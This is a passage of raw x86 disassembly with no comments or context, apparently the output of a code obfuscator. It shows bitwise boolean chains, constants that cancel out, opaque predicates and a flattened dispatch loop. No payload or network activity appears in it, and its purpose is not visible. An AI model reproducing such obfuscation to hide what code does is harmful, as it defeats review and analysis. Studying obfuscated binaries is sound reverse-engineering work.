or ah, cl
or ch, 1
xor ah, 0xff
and ah, ch
mov cl, bl
xor cl, 1
and cl, 1
mov ch, bl
xor ch, 1
and ch, 1
or cl, ch
mov ch, byte [ebp - 0x38b]
xor ch, 0xff
mov bh, cl
xor bh, 0xff
mov byte [ebp - 0x3a6], al
mov al, bl
xor al, 1
or ch, bh
or al, 1
xor ch, 0xff
and ch, al
mov al, byte [ebp - 0x3a6]
xor al, 0xff
and al, 1
mov bh, bl
xor bh, 1
mov byte [ebp - 0x3a7], al
mov al, byte [ebp - 0x3a6]
and al, bh
mov byte [ebp - 0x3a8], al
mov al, bl
xor al, 1
and al, 0xff
and bh, 1
mov byte [ebp - 0x3a9], al
mov al, byte [ebp - 0x3a7]
mov byte [ebp - 0x3aa], cl
mov cl, byte [ebp - 0x3a8]
or al, cl
mov cl, byte [ebp - 0x3a9]
or cl, bh
xor al, cl
xor al, 0xff
mov cl, bl
xor cl, 1
mov bh, bl
xor bh, 1
or al, cl
or bh, 1
xor al, 0xff
and al, bh
mov cl, byte [ebp - 0x3a6]
xor cl, 0xff
mov bh, byte [ebp - 0x3aa]
xor bh, 0xff
mov byte [ebp - 0x3ab], al
mov al, bl
xor al, 0
or cl, bh
or al, 0
xor cl, 0xff
and cl, al
mov al, ah
xor al, 0xff
mov bh, ch
xor bh, 0xff
mov byte [ebp - 0x3ac], al
mov al, bl
xor al, 1
mov byte [ebp - 0x3ad], al
mov al, byte [ebp - 0x3ac]
and al, 0xff
mov byte [ebp - 0x3ae], al
mov al, byte [ebp - 0x3ad]
and ah, al
mov al, bh
and al, 0xff
mov byte [ebp - 0x3af], al
mov al, byte [ebp - 0x3ad]
and ch, al
mov al, byte [ebp - 0x3ae]
or al, ah
mov ah, byte [ebp - 0x3af]
or ah, ch
xor al, ah
mov ah, byte [ebp - 0x3ac]
or ah, bh
xor ah, 0xff
mov ch, byte [ebp - 0x3ad]
or ch, 1
and ah, ch
or al, ah
mov ah, byte [ebp - 0x3ab]
and ah, cl
mov ch, byte [ebp - 0x3ab]
xor ch, cl
or ah, ch
mov cl, al
xor cl, 0xff
and cl, 1
mov ch, bl
xor ch, 1
and al, ch
mov bh, ah
xor bh, 0xff
and bh, 0xff
and ah, ch
or cl, al
or bh, ah
xor cl, bh
mov al, byte [ebp - 0x330]
xor al, 0xff
mov ah, byte [ebp - 0x357]
xor ah, 0xff
mov ch, bl
xor ch, 1
or al, ah
or ch, 1
xor al, 0xff
and al, ch
mov ah, byte [ebp - 0x330]
xor ah, 0xff
and ah, 1
mov ch, bl
xor ch, 1
mov bh, byte [ebp - 0x330]
and bh, ch
mov byte [ebp - 0x3b0], al
mov al, byte [ebp - 0x357]
xor al, 0xff
and al, 0xff
mov byte [ebp - 0x3b1], al
mov al, byte [ebp - 0x357]
and al, ch
or ah, bh
mov ch, byte [ebp - 0x3b1]
or ch, al
xor ah, ch
mov al, byte [ebp - 0x3b0]
and al, ah
mov ch, byte [ebp - 0x3b0]
xor ch, ah
or al, ch
mov ah, al
xor ah, 0xff
and ah, 1
mov ch, bl
xor ch, 1
mov bh, al
and bh, ch
or ah, bh
mov ch, bl
xor ch, 1
xor ah, 0xff
mov bh, bl
xor bh, 1
or ch, ah
or bh, 1
xor ch, 0xff
and ch, bh
mov ah, bl
xor ah, 1
and ah, 1
mov bh, bl
xor bh, 1
and bh, 1
or ah, bh
mov bh, ah
xor bh, 0xff
mov byte [ebp - 0x3b2], al
xor al, bh
mov bh, byte [ebp - 0x3b2]
and al, bh
mov bh, bl
xor bh, 1
and bh, 1
mov byte [ebp - 0x3b3], al
mov al, bl
xor al, 1
and al, 1
or bh, al
mov al, bl
xor al, 1
mov byte [ebp - 0x3b4], al
mov al, bh
mov byte [ebp - 0x3b5], cl
mov cl, byte [ebp - 0x3b4]
xor al, cl
and al, bh
mov cl, bl
xor cl, 1
xor ah, 0xff
mov bh, bl
xor bh, 0
or cl, ah
or bh, 0
xor cl, 0xff
and cl, bh
mov ah, ch
mov bh, byte [ebp - 0x3b3]
and ah, bh
xor ch, bh
or ah, ch
mov ch, al
and ch, cl
xor al, cl
or ch, al
mov al, ah
xor al, 0xff
mov cl, ch
and cl, al
xor ch, 0xff
and ah, ch
or cl, ah
mov al, bl
xor al, 0
and al, 0
mov ah, bl
xor ah, 0
mov ch, ah
and ch, 0
mov bh, bl
xor bh, 1
and bh, 0
and ah, 1
or al, ch
or bh, ah
xor al, bh
mov ah, byte [ebp - 0x350]
xor ah, 0xff
and ah, 1
mov ch, bl
xor ch, 1
mov bh, byte [ebp - 0x350]
and bh, ch
mov byte [ebp - 0x3b6], al
mov al, bl
xor al, 1
and al, 0xff
and ch, 1
or ah, bh
or al, ch
xor ah, al
mov al, bl
xor al, 0
and al, 1
mov ch, bl
xor ch, 1
and ch, 0
or al, ch
mov ch, bl
xor ch, 0
mov bh, byte [ebp - 0x3b6]
xor bh, ch
mov ch, byte [ebp - 0x3b6]
and bh, ch
mov ch, al
xor ch, 0xff
xor ch, 0
and ch, 0
mov byte [ebp - 0x3b7], al
mov al, ah
xor al, 0xff
mov byte [ebp - 0x3b8], al
mov al, bl
xor al, 0
mov byte [ebp - 0x3b9], al
mov al, bl
xor al, 0
mov byte [ebp - 0x3ba], al
mov al, byte [ebp - 0x3b8]
mov byte [ebp - 0x3bb], cl
mov cl, byte [ebp - 0x3b9]
or al, cl
mov cl, byte [ebp - 0x3ba]
or cl, 0
xor al, 0xff
and al, cl
mov cl, byte [ebp - 0x3b7]
xor cl, 0xff
mov byte [ebp - 0x3bc], al
mov al, byte [ebp - 0x350]
xor al, cl
mov cl, byte [ebp - 0x350]
and al, cl
mov cl, bh
and cl, ch
xor bh, ch
or cl, bh
mov ch, byte [ebp - 0x3bc]
xor ch, 0xff
mov bh, al
xor bh, 0xff
mov byte [ebp - 0x3bd], al
mov al, bl
xor al, 1
mov byte [ebp - 0x3be], al
mov al, ch
and al, 0xff
mov byte [ebp - 0x3bf], al
mov al, byte [ebp - 0x3bc]
mov byte [ebp - 0x3c0], cl
mov cl, byte [ebp - 0x3be]
and al, cl
mov cl, bh
and cl, 0xff
mov byte [ebp - 0x3c1], al
mov al, byte [ebp - 0x3bd]
mov byte [ebp - 0x3c2], cl
mov cl, byte [ebp - 0x3be]
and al, cl
mov cl, byte [ebp - 0x3bf]
mov byte [ebp - 0x3c3], al
mov al, byte [ebp - 0x3c1]
or cl, al
mov al, byte [ebp - 0x3c2]
mov byte [ebp - 0x3c4], cl
mov cl, byte [ebp - 0x3c3]
or al, cl
mov cl, byte [ebp - 0x3c4]
xor cl, al
or ch, bh
xor ch, 0xff
mov al, byte [ebp - 0x3be]
or al, 1
and ch, al
or cl, ch
mov al, byte [ebp - 0x3c0]
xor al, 0xff
and al, 1
mov ch, bl
xor ch, 1
mov bh, byte [ebp - 0x3c0]
and bh, ch
mov byte [ebp - 0x3c5], al
mov al, cl
xor al, 0xff
and al, 0xff
and cl, ch
mov ch, byte [ebp - 0x3c5]
or ch, bh
or al, cl
xor ch, al
mov al, byte [ebp - 0x3b6]
and al, ah
mov cl, byte [ebp - 0x3b6]
xor cl, ah
or al, cl
mov cl, al
xor cl, 0xff
and cl, 1
mov ah, bl
xor ah, 1
and al, ah
or cl, al
mov al, byte [ebp - 0x3b7]
and al, 0
mov ah, byte [ebp - 0x3b7]
xor ah, 0
or al, ah
xor cl, 0xff
xor al, 0xff
mov ah, bl
xor ah, 1
or cl, al
or ah, 1
xor cl, 0xff
and cl, ah
mov al, ch
xor al, 0xff
mov ah, cl
xor ah, 0xff
mov bh, bl
xor bh, 1
mov byte [ebp - 0x3c6], al
and al, 0xff
and ch, bh
mov byte [ebp - 0x3c7], al
mov al, ah
and al, 0xff
and cl, bh
mov byte [ebp - 0x3c8], al
mov al, byte [ebp - 0x3c7]
or al, ch
mov ch, byte [ebp - 0x3c8]
or ch, cl
xor al, ch
mov cl, byte [ebp - 0x3c6]
or cl, ah
xor cl, 0xff
or bh, 1
and cl, bh
or al, cl
mov cl, al
xor cl, 0xff
and cl, 1
mov ah, bl
xor ah, 1
and al, ah
or cl, al
mov al, byte [ebp - 0x3bb]
xor al, 0xff
mov ah, cl
and ah, al
xor cl, 0xff
mov al, byte [ebp - 0x3bb]
and al, cl
or ah, al
mov al, byte [ebp - 0x3bb]
xor al, 0xff
mov cl, ah
xor cl, al
and cl, ah
mov al, byte [ebp - 0x3b5]
xor al, 0xff
and al, 1
mov ah, bl
xor ah, 1
mov ch, byte [ebp - 0x3b5]
and ch, ah
mov bh, bl
xor bh, 1
and bh, 0xff
and ah, 1
or al, ch
or bh, ah
xor al, bh
mov ah, cl
xor ah, 0xff
and ah, 0
mov ch, bl
xor ch, 0
mov bh, cl
and bh, ch
mov byte [ebp - 0x3c9], al
mov al, bl
xor al, 1
and al, 0
and ch, 1
or ah, bh
or al, ch
xor ah, al
mov al, bl
xor al, 1
and al, 1
mov ch, bl
xor ch, 1
and ch, 1
or al, ch
mov ch, bl
xor ch, 1
mov bh, byte [ebp - 0x3c9]
xor bh, ch
mov ch, byte [ebp - 0x3c9]
and bh, ch
mov ch, al
xor ch, 0xff
mov byte [ebp - 0x3ca], al
mov al, byte [ebp - 0x3b5]
xor al, ch
mov ch, byte [ebp - 0x3b5]
and al, ch
mov ch, ah
xor ch, 0xff
mov byte [ebp - 0x3cb], al
mov al, bl
xor al, 1
mov byte [ebp - 0x3cc], al
mov al, bl
xor al, 0
mov byte [ebp - 0x3cd], al
mov al, byte [ebp - 0x3cc]
or ch, al
mov al, byte [ebp - 0x3cd]
or al, 0
xor ch, 0xff
and ch, al
mov al, byte [ebp - 0x3ca]
xor al, 0xff
mov byte [ebp - 0x3ce], al
mov al, cl
mov byte [ebp - 0x3cf], cl
mov cl, byte [ebp - 0x3ce]
xor al, cl
mov cl, byte [ebp - 0x3cf]
and al, cl
mov cl, bh
xor cl, 0xff
mov byte [ebp - 0x3d0], al
mov al, byte [ebp - 0x3cb]
xor al, 0xff
mov byte [ebp - 0x3d1], al
mov al, bl
xor al, 0
mov byte [ebp - 0x3d2], al
mov al, cl
and al, 0
mov byte [ebp - 0x3d3], al
mov al, byte [ebp - 0x3d2]
and bh, al
mov al, byte [ebp - 0x3d1]
and al, 0
mov byte [ebp - 0x3d4], al
mov al, byte [ebp - 0x3cb]
mov byte [ebp - 0x3d5], cl
mov cl, byte [ebp - 0x3d2]
and al, cl
mov cl, byte [ebp - 0x3d3]
or cl, bh
mov bh, byte [ebp - 0x3d4]
or bh, al
xor cl, bh
mov al, byte [ebp - 0x3d5]
mov bh, byte [ebp - 0x3d1]
or al, bh
xor al, 0xff
mov bh, byte [ebp - 0x3d2]
or bh, 0
and al, bh
or cl, al
mov al, ch
mov bh, byte [ebp - 0x3d0]
and al, bh
xor ch, bh
or al, ch
mov ch, cl
xor ch, 0xff
mov bh, al
and bh, ch
xor al, 0xff
and cl, al
or bh, cl
mov al, byte [ebp - 0x3c9]
xor al, 0xff
mov cl, ah
xor cl, 0xff
mov ch, bl
xor ch, 0
mov byte [ebp - 0x3d6], al
and al, 0
mov byte [ebp - 0x3d7], al
mov al, byte [ebp - 0x3c9]
and al, ch
mov byte [ebp - 0x3d8], al
mov al, cl
and al, 0
and ah, ch
mov byte [ebp - 0x3d9], al
mov al, byte [ebp - 0x3d7]
mov byte [ebp - 0x3da], cl
mov cl, byte [ebp - 0x3d8]
or al, cl
mov cl, byte [ebp - 0x3d9]
or cl, ah
xor al, cl
mov cl, byte [ebp - 0x3d6]
mov ah, byte [ebp - 0x3da]
or cl, ah
xor cl, 0xff
or ch, 0
and cl, ch
or al, cl
mov cl, al
xor cl, 0xff
and cl, 1
mov ch, bl
xor ch, 1
and al, ch
or cl, al
mov al, byte [ebp - 0x3ca]
and al, 1
mov ch, byte [ebp - 0x3ca]
xor ch, 1
or al, ch
xor al, 0xff
mov ch, cl
xor ch, al
and ch, cl
mov al, bh
xor al, 0xff
mov cl, ch
xor cl, 0xff
xor bl, 1
mov ah, al
and ah, 0xff
and bh, bl
mov byte [ebp - 0x3db], al
mov al, cl
and al, 0xff
and ch, bl
or ah, bh
or al, ch
xor ah, al
mov al, byte [ebp - 0x3db]
or al, cl
xor al, 0xff
or bl, 1
and al, bl
or ah, al
test ah, 1
mov esi, dword [ebp - 0x328]
cmovne esi, edx
mov dword [ebp - 0x28], esi
jmp 0x6e96f5
mov dword [ebp - 0x28], 0x1c9099b4
jmp 0x6e96f5
mov eax, 0x633e6771
mov ecx, 0x6c987d50
mov dl, 1
xor esi, esi
mov edi, dword [0x71b0ac]
mov ebx, dword [0x71b0a4]
mov dword [ebp - 0x3e0], eax
mov eax, edi
add eax, 0xfc267e9
add eax, 0xd9ccbcc0
sub eax, 0xfc267e9
mov dword [ebp - 0x3e4], eax
mov eax, esi
sub eax, 0x39c1f7ce
mov dword [ebp - 0x3e8], eax
mov eax, dword [ebp - 0x3e4]
mov dword [ebp - 0x3ec], ecx
mov ecx, dword [ebp - 0x3e8]
sub eax, ecx
add eax, 0xaa755515
sub eax, 0xd9ccbcc0
sub eax, 0xaa755515
mov ecx, esi
sub ecx, eax
mov eax, esi
sub eax, 0x7e5bcb3d
add ecx, eax
mov eax, esi
sub eax, ecx
sub esi, 1
add eax, esi
sub eax, 0x1e6cbbdb
sub eax, 0x7e5bcb3d
add eax, 0x1e6cbbdb
add eax, 0xe37f09d1
add eax, 0x1bc2daed
sub eax, 0xe37f09d1
sub eax, 0x86fba54
sub eax, 0x39c1f7ce
add eax, 0x86fba54
sub eax, 0x12cf0579
sub eax, 0x1bc2daed
add eax, 0x12cf0579
imul edi, eax
and edi, 1
cmp edi, 0
sete dh
cmp ebx, 0xa
setl al
mov ah, al
xor ah, 0xff
and ah, 1
mov cl, dl
xor cl, 1
mov ch, al
and ch, cl
mov bl, dl
xor bl, 1
and bl, 0xff
and cl, 1
or ah, ch
or bl, cl
xor ah, bl
mov cl, dh
xor cl, 0xff
and cl, 1
mov ch, dl
xor ch, 1
mov bl, dh
and bl, ch
mov bh, ah
xor bh, 0xff
and bh, 0xff
and ah, ch
or cl, bl
or bh, ah
xor cl, bh
xor cl, 0xff
mov ah, dh
xor ah, 0xff
mov ch, dl
xor ch, 0
or cl, ah
or ch, 0
xor cl, 0xff
and cl, ch
mov ah, dh
xor ah, 0xff
and ah, 1
mov ch, dl
xor ch, 1
mov bl, dh
and bl, ch
or ah, bl
mov ch, dl
xor ch, 1
xor ah, 0xff
mov bl, dl
xor bl, 1
or ch, ah
or bl, 1
xor ch, 0xff
and ch, bl
mov ah, dl
xor ah, 1
and ah, 1
mov bl, dl
xor bl, 1
and bl, 1
or ah, bl
mov bl, ah
xor bl, 0xff
mov bh, dh
xor bh, bl
and bh, dh
mov dh, al
xor dh, 0xff
and dh, 1
mov bl, dl
xor bl, 1
mov byte [ebp - 0x3ed], al
and al, bl
mov byte [ebp - 0x3ee], al
mov al, dl
xor al, 1
and al, 0xff
and bl, 1
mov byte [ebp - 0x3ef], al
mov al, byte [ebp - 0x3ee]
or dh, al
mov al, byte [ebp - 0x3ef]
or al, bl
xor dh, al
mov al, dl
xor al, 1
mov bl, dh
xor bl, al
and bl, dh
mov al, byte [ebp - 0x3ed]
xor al, 0xff
xor ah, 0xff
mov dh, dl
xor dh, 1
or al, ah
or dh, 1
xor al, 0xff
and al, dh
mov ah, ch
xor ah, 0xff
mov dh, bh
xor dh, 0xff
mov byte [ebp - 0x3f0], al
mov al, dl
xor al, 1
mov byte [ebp - 0x3f1], al
mov al, ah
and al, 0xff
mov byte [ebp - 0x3f2], al
mov al, byte [ebp - 0x3f1]
and ch, al
mov al, dh
and al, 0xff
mov byte [ebp - 0x3f3], al
mov al, byte [ebp - 0x3f1]
and bh, al
mov al, byte [ebp - 0x3f2]
or al, ch
mov ch, byte [ebp - 0x3f3]
or ch, bh
xor al, ch
or ah, dh
xor ah, 0xff
mov ch, byte [ebp - 0x3f1]
or ch, 1
and ah, ch
or al, ah
mov ah, bl
mov ch, byte [ebp - 0x3f0]
and ah, ch
xor bl, ch
or ah, bl
mov dh, al
xor dh, 0xff
mov bl, ah
and bl, dh
xor ah, 0xff
and al, ah
or bl, al
mov al, bl
xor al, 0xff
mov ah, cl
xor ah, al
and ah, cl
mov al, cl
xor al, 0xff
and al, 1
xor dl, 1
and cl, dl
mov dh, bl
xor dh, 0xff
and dh, 0xff
and bl, dl
or al, cl
or dh, bl
xor al, dh
mov cl, ah
and cl, al
xor ah, al
or cl, ah
test cl, 1
mov esi, dword [ebp - 0x3e0]
mov edi, dword [ebp - 0x3ec]
cmovne esi, edi
mov dword [ebp - 0x28], esi
jmp 0x6e96f5
mov eax, 0x633e6771
mov ecx, 0xa6743909
mov dl, 1
mov esi, 0x88ed4778
xor edi, edi
mov ebx, dword [0x71b0ac]
mov dword [ebp - 0x3f8], eax
mov eax, dword [0x71b0a4]
mov dword [ebp - 0x3fc], eax
mov eax, edi
sub eax, 0x1abcb308
add eax, 0
add eax, 0x51d1af31
sub eax, 1
sub eax, 0x51d1af31
add eax, 0x99d4941b
add eax, 0x1abcb308
sub eax, 0x99d4941b
mov dword [ebp - 0x400], eax
mov eax, edi
sub eax, ebx
add eax, 0
mov dword [ebp - 0x404], eax
mov eax, dword [ebp - 0x400]
sub edi, eax
add edi, 0
mov eax, dword [ebp - 0x404]
sub eax, 0x9e464824
add eax, edi
add eax, 0x9e464824
add esi, 0
sub esi, eax
sub esi, 0x88ed4778
imul ebx, esi
and ebx, 1
cmp ebx, 0
sete dh
mov eax, dword [ebp - 0x3fc]
cmp eax, 0xa
setl al
mov ah, dh
xor ah, 0xff
and ah, 1
mov bl, dl
xor bl, 1
mov bh, dh
and bh, bl
or ah, bh
xor ah, 0xff
xor ah, 1
and ah, 0xff
mov bl, dl
xor bl, 1
and bl, 1
mov bh, dl
xor bh, 1
and bh, 1
or bl, bh
mov bh, dh
xor bh, 0xff
mov byte [ebp - 0x405], al
mov al, bl
xor al, 0xff
mov byte [ebp - 0x406], al
mov al, dl
xor al, 0
mov byte [ebp - 0x407], al
mov al, byte [ebp - 0x406]
or bh, al
mov al, byte [ebp - 0x407]
or al, 0
xor bh, 0xff
and bh, al
mov al, dl
xor al, 1
and al, 1
mov byte [ebp - 0x408], al
mov al, dl
xor al, 1
and al, 1
mov byte [ebp - 0x409], al
mov al, byte [ebp - 0x408]
mov dword [ebp - 0x410], ecx
mov cl, byte [ebp - 0x409]
or al, cl
mov cl, dl
xor cl, 1
mov ch, al
xor ch, cl
and ch, al
xor bl, 0xff
xor bl, 1
and bl, 0xff
mov al, ah
and al, bh
xor ah, bh
or al, ah
mov cl, ch
xor cl, 0xff
mov ah, bl
xor ah, 0xff
mov bh, dl
xor bh, 1
mov byte [ebp - 0x411], al
mov al, cl
and al, 0xff
and ch, bh
mov byte [ebp - 0x412], al
mov al, ah
and al, 0xff
and bl, bh
mov byte [ebp - 0x413], al
mov al, byte [ebp - 0x412]
or al, ch
mov ch, byte [ebp - 0x413]
or ch, bl
xor al, ch
or cl, ah
xor cl, 0xff
or bh, 1
and cl, bh
or al, cl
mov cl, byte [ebp - 0x411]
xor cl, 0xff
mov ah, al
and ah, cl
xor al, 0xff
mov cl, byte [ebp - 0x411]
and cl, al
or ah, cl
mov al, byte [ebp - 0x405]
xor al, 0xff
and al, 1
mov cl, dl
xor cl, 1
mov ch, byte [ebp - 0x405]
and ch, cl
or al, ch
mov cl, dl
xor cl, 1
xor al, 0xff
mov ch, dl
xor ch, 1
or cl, al
or ch, 1
xor cl, 0xff
and cl, ch
mov al, dl
xor al, 1
and al, 0
mov ch, dl
xor ch, 0
mov bl, ch
and bl, 1
mov bh, dl
xor bh, 1
and bh, 0
and ch, 1
or al, bl
or bh, ch
xor al, bh
mov ch, byte [ebp - 0x405]
xor ch, 0xff
mov bl, al
xor bl, 0xff
mov bh, dl
xor bh, 0
or ch, bl
or bh, 0
xor ch, 0xff
and ch, bh
mov bl, dl
xor bl, 1
and bl, 1
mov bh, dl
xor bh, 1
and bh, 1
or bl, bh
xor bl, 0xff
mov bh, dl
xor bh, 1
mov byte [ebp - 0x414], al
mov al, dl
xor al, 0
or bl, bh
or al, 0
xor bl, 0xff
and bl, al
mov al, dl
xor al, 1
mov bh, byte [ebp - 0x414]
xor bh, 0xff
mov byte [ebp - 0x415], al
mov al, dl
xor al, 1
mov byte [ebp - 0x416], al
mov al, byte [ebp - 0x415]
or al, bh
mov bh, byte [ebp - 0x416]
or bh, 1
xor al, 0xff
and al, bh
mov bh, cl
and bh, ch
xor cl, ch
or bh, cl
mov cl, bl
and cl, al
xor bl, al
or cl, bl
mov al, bh
xor al, 0xff
and al, 0
mov ch, dl
xor ch, 0
and bh, ch
mov bl, cl
xor bl, 0xff
and bl, 0
and cl, ch
or al, bh
or bl, cl
xor al, bl
mov cl, dl
xor cl, 1
and cl, 0
mov ch, dl
xor ch, 0
mov bl, ch
and bl, 1
mov bh, dl
xor bh, 1
and bh, 0
and ch, 1
or cl, bl
or bh, ch
xor cl, bh
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov ch, dl
xor ch, 1
and ch, 1
mov bl, dl
xor bl, 1
mov bh, bl
and bh, 1
mov byte [ebp - 0x417], al
mov al, dl
xor al, 1
and al, 0xff
and bl, 1
or ch, bh
or al, bl
xor ch, al
mov al, ch
xor al, 0xff
xor al, 1
and al, 0xff
mov bl, dl
xor bl, 1
and bl, 1
mov bh, dl
xor bh, 1
and bh, 1
or bl, bh
xor bl, 0xff
mov bh, dl
xor bh, 1
mov byte [ebp - 0x418], al
mov al, dl
xor al, 1
or bl, bh
or al, 1
xor bl, 0xff
and bl, al
mov al, dl
xor al, 1
xor ch, 0xff
mov bh, dl
xor bh, 0
or al, ch
or bh, 0
xor al, 0xff
and al, bh
mov ch, cl
mov bh, byte [ebp - 0x418]
and ch, bh
xor cl, bh
or ch, cl
mov cl, bl
xor cl, 0xff
mov bh, al
xor bh, 0xff
mov byte [ebp - 0x419], al
mov al, dl
xor al, 0
mov byte [ebp - 0x41a], al
mov al, cl
and al, 0
mov byte [ebp - 0x41b], al
mov al, byte [ebp - 0x41a]
and bl, al
mov al, bh
and al, 0
mov byte [ebp - 0x41c], al
mov al, byte [ebp - 0x419]
mov byte [ebp - 0x41d], cl
mov cl, byte [ebp - 0x41a]
and al, cl
mov cl, byte [ebp - 0x41b]
or cl, bl
mov bl, byte [ebp - 0x41c]
or bl, al
xor cl, bl
mov al, byte [ebp - 0x41d]
or al, bh
xor al, 0xff
mov bl, byte [ebp - 0x41a]
or bl, 0
and al, bl
or cl, al
mov al, ch
xor al, 0xff
and al, 0
mov bl, dl
xor bl, 0
and ch, bl
mov bh, cl
xor bh, 0xff
and bh, 0
and cl, bl
or al, ch
or bh, cl
xor al, bh
mov cl, ah
xor cl, 0xff
and cl, 0
mov ch, dl
xor ch, 0
mov bl, ah
and bl, ch
mov bh, dl
xor bh, 1
and bh, 0
and ch, 1
or cl, bl
or bh, ch
xor cl, bh
mov ch, dl
xor ch, 1
and ch, 1
mov bl, dl
xor bl, 1
mov bh, bl
and bh, 1
mov byte [ebp - 0x41e], al
mov al, dl
xor al, 1
and al, 0xff
and bl, 1
or ch, bh
or al, bl
xor ch, al
mov al, dl
xor al, 1
and al, 1
mov bl, dl
xor bl, 1
and bl, 1
or al, bl
mov bl, cl
and bl, ch
xor cl, ch
or bl, cl
mov cl, al
and cl, 1
xor al, 1
or cl, al
mov al, bl
xor al, 0xff
and al, 1
mov ch, dl
xor ch, 1
and bl, ch
or al, bl
xor cl, 0xff
mov ch, al
xor ch, cl
and ch, al
mov al, dh
xor al, 0xff
and al, 1
mov cl, dl
xor cl, 1
and dh, cl
or al, dh
mov cl, byte [ebp - 0x41e]
xor cl, 0xff
and cl, 1
mov dh, dl
xor dh, 1
mov bl, byte [ebp - 0x41e]
and bl, dh
or cl, bl
mov dh, dl
xor dh, 0
and dh, 1
mov bl, dl
xor bl, 1
mov bh, bl
and bh, 0
mov byte [ebp - 0x41f], al
mov al, dl
xor al, 1
and al, 0xff
and bl, 1
or dh, bh
or al, bl
xor dh, al
mov al, byte [ebp - 0x41f]
and al, cl
mov bl, byte [ebp - 0x41f]
xor bl, cl
or al, bl
mov cl, dh
and cl, 0
xor dh, 0
or cl, dh
mov dh, al
xor dh, 0xff
and dh, 1
mov bl, dl
xor bl, 1
and al, bl
or dh, al
xor dh, 0xff
xor cl, 0xff
mov al, dl
xor al, 1
or dh, cl
or al, 1
xor dh, 0xff
and dh, al
mov al, byte [ebp - 0x417]
xor al, 0xff
and al, 0
mov cl, dl
xor cl, 0
mov bl, byte [ebp - 0x417]
and bl, cl
mov bh, dl
xor bh, 1
and bh, 0
and cl, 1
or al, bl
or bh, cl
xor al, bh
mov cl, dl
xor cl, 1
and cl, 0
mov bl, dl
xor bl, 0
mov bh, bl
and bh, 1
mov byte [ebp - 0x420], al
mov al, dl
xor al, 1
and al, 0
and bl, 1
or cl, bh
or al, bl
xor cl, al
mov al, dl
xor al, 0
and al, 1
mov bl, dl
xor bl, 1
mov bh, bl
and bh, 0
mov byte [ebp - 0x421], al
mov al, dl
xor al, 1
and al, 0xff
and bl, 1
mov byte [ebp - 0x422], al
mov al, byte [ebp - 0x421]
or al, bh
mov bh, byte [ebp - 0x422]
or bh, bl
xor al, bh
mov bl, byte [ebp - 0x420]
xor bl, 0xff
mov bh, cl
xor bh, 0xff
mov byte [ebp - 0x423], al
mov al, dl
xor al, 1
mov byte [ebp - 0x424], al
mov al, bl
and al, 0xff
mov byte [ebp - 0x425], al
mov al, byte [ebp - 0x420]
mov byte [ebp - 0x426], cl
mov cl, byte [ebp - 0x424]
and al, cl
mov cl, bh
and cl, 0xff
mov byte [ebp - 0x427], al
mov al, byte [ebp - 0x426]
mov byte [ebp - 0x428], cl
mov cl, byte [ebp - 0x424]
and al, cl
mov cl, byte [ebp - 0x425]
mov byte [ebp - 0x429], al
mov al, byte [ebp - 0x427]
or cl, al
mov al, byte [ebp - 0x428]
mov byte [ebp - 0x42a], cl
mov cl, byte [ebp - 0x429]
or al, cl
mov cl, byte [ebp - 0x42a]
xor cl, al
or bl, bh
xor bl, 0xff
mov al, byte [ebp - 0x424]
or al, 1
and bl, al
or cl, bl
mov al, byte [ebp - 0x423]
and al, 0
mov bl, byte [ebp - 0x423]
xor bl, 0
or al, bl
mov bl, cl
xor bl, 0xff
and bl, 0
mov bh, dl
xor bh, 0
and cl, bh
mov byte [ebp - 0x42b], al
mov al, dl
xor al, 1
and al, 0
and bh, 1
or bl, cl
or al, bh
xor bl, al
xor bl, 0xff
mov al, byte [ebp - 0x42b]
xor al, 0xff
mov cl, dl
xor cl, 1
or bl, al
or cl, 1
xor bl, 0xff
and bl, cl
mov al, byte [ebp - 0x41e]
xor al, 0xff
and al, 1
mov cl, dl
xor cl, 1
mov bh, byte [ebp - 0x41e]
and bh, cl
or al, bh
mov cl, byte [ebp - 0x405]
xor cl, 0xff
mov bh, al
and bh, cl
xor al, 0xff
mov cl, byte [ebp - 0x405]
and cl, al
or bh, cl
mov al, byte [ebp - 0x405]
xor al, 0xff
mov cl, bh
xor cl, al
and cl, bh
mov al, ch
xor al, 0xff
mov bh, dh
xor bh, 0xff
mov byte [ebp - 0x42c], al
mov al, dl
xor al, 0
mov byte [ebp - 0x42d], al
mov al, byte [ebp - 0x42c]
or al, bh
mov bh, byte [ebp - 0x42d]
or bh, 0
xor al, 0xff
and al, bh
mov bh, ch
xor bh, 0xff
and bh, 0
mov byte [ebp - 0x42e], al
mov al, dl
xor al, 0
and ch, al
mov byte [ebp - 0x42f], al
mov al, dh
xor al, 0xff
and al, 0
mov byte [ebp - 0x430], al
mov al, byte [ebp - 0x42f]
and dh, al
or bh, ch
mov ch, byte [ebp - 0x430]
or ch, dh
xor bh, ch
mov ch, byte [ebp - 0x42e]
xor ch, 0xff
mov dh, bh
xor dh, 0xff
mov al, dl
xor al, 1
mov byte [ebp - 0x431], al
mov al, ch
and al, 0xff
mov byte [ebp - 0x432], al
mov al, byte [ebp - 0x42e]
mov byte [ebp - 0x433], cl
mov cl, byte [ebp - 0x431]
and al, cl
mov cl, dh
and cl, 0xff
mov byte [ebp - 0x434], al
mov al, byte [ebp - 0x431]
and bh, al
mov al, byte [ebp - 0x432]
mov byte [ebp - 0x435], cl
mov cl, byte [ebp - 0x434]
or al, cl
mov cl, byte [ebp - 0x435]
or cl, bh
xor al, cl
or ch, dh
xor ch, 0xff
mov cl, byte [ebp - 0x431]
or cl, 1
and ch, cl
or al, ch
mov cl, bl
xor cl, 0xff
mov ch, byte [ebp - 0x433]
xor ch, 0xff
mov dh, dl
xor dh, 0
or cl, ch
or dh, 0
xor cl, 0xff
and cl, dh
mov ch, bl
xor ch, 0xff
and ch, 0
mov dh, dl
xor dh, 0
and bl, dh
mov bh, byte [ebp - 0x433]
xor bh, 0xff
and bh, 0
mov byte [ebp - 0x436], al
mov al, byte [ebp - 0x433]
and al, dh
or ch, bl
or bh, al
xor ch, bh
mov al, cl
and al, ch
xor cl, ch
or al, cl
mov cl, byte [ebp - 0x436]
xor cl, 0xff
and cl, 1
mov ch, dl
xor ch, 1
mov dh, byte [ebp - 0x436]
and dh, ch
mov bl, dl
xor bl, 1
and bl, 0xff
and ch, 1
or cl, dh
or bl, ch
xor cl, bl
mov ch, dl
xor ch, 0
xor cl, 0xff
mov dh, dl
xor dh, 0
or ch, cl
or dh, 0
xor ch, 0xff
and ch, dh
mov cl, dl
xor cl, 0
and cl, 0
mov dh, dl
xor dh, 0
mov bl, dh
and bl, 0
mov bh, dl
xor bh, 1
and bh, 0
and dh, 1
or cl, bl
or bh, dh
xor cl, bh
mov dh, cl
xor dh, 0xff
mov bl, byte [ebp - 0x436]
